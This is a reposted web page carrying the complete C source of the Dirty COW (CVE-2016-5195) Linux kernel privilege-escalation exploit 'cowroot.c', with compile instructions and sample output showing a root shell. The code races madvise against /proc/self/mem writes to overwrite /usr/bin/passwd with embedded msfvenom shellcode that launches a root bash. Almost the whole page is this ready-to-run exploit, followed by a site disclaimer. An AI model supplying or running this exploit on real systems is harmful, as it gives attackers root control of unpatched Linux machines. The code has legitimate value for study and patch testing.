[提权] 脏牛漏洞 Dirty COW CVE-2016-5195 2.6.22 < 3.9 (x86/x64)


/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
 
void  *map;
int  f;
int  stop = 0;
struct  stat st;
char  *name;
pthread_t pth1,pth2,pth3;
 
// change if no permissions to read
char  suid_binary[] =  "/usr/bin/passwd" ;
 
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned  char  sc[] = {
   0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
   0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
   0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
   0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
   0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
   0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
   0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned  int  sc_len = 177;
 
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
   0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
   0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
   0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
   0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
   0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
   0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
   0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
   0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
 
void  *madviseThread( void  *arg)
{
     char  *str;
     str=( char *)arg;
     int  i,c=0;
     for (i=0;i<1000000 && !stop;i++) {
         c+=madvise(map,100,MADV_DONTNEED);
     }
     printf ( "thread stopped\n" );
}
 
void  *procselfmemThread( void  *arg)
{
     char  *str;
     str=( char *)arg;
     int  f=open( "/proc/self/mem" ,O_RDWR);
     int  i,c=0;
     for (i=0;i<1000000 && !stop;i++) {
         lseek(f,map,SEEK_SET);
         c+=write(f, str, sc_len);
     }
     printf ( "thread stopped\n" );
}
 
void  *waitForWrite( void  *arg) {
     char  buf[sc_len];
 
     for (;;) {
         FILE  *fp =  fopen (suid_binary,  "rb" );
 
         fread (buf, sc_len, 1, fp);
 
         if ( memcmp (buf, sc, sc_len) == 0) {
             printf ( "%s is overwritten\n" , suid_binary);
             break ;
         }
 
         fclose (fp);
         sleep(1);
     }
 
     stop = 1;
 
     printf ( "Popping root shell.\n" );
     printf ( "Don't forget to restore /tmp/bak\n" );
 
     system (suid_binary);
}
 
int  main( int  argc, char  *argv[]) {
     char  *backup;
 
     printf ( "DirtyCow root privilege escalation\n" );
     printf ( "Backing up %s.. to /tmp/bak\n" , suid_binary);
 
     asprintf(&backup,  "cp %s /tmp/bak" , suid_binary);
     system (backup);
 
     f = open(suid_binary,O_RDONLY);
     fstat(f,&st);
 
     printf ( "Size of binary: %d\n" , st.st_size);
 
     char  payload[st.st_size];
     memset (payload, 0x90, st.st_size);
     memcpy (payload, sc, sc_len+1);
 
     map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
 
     printf ( "Racing, this may take a while..\n" );
 
     pthread_create(&pth1, NULL, &madviseThread, suid_binary);
     pthread_create(&pth2, NULL, &procselfmemThread, payload);
     pthread_create(&pth3, NULL, &waitForWrite, NULL);
 
     pthread_join(pth3, NULL);
 
     return  0;
}


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM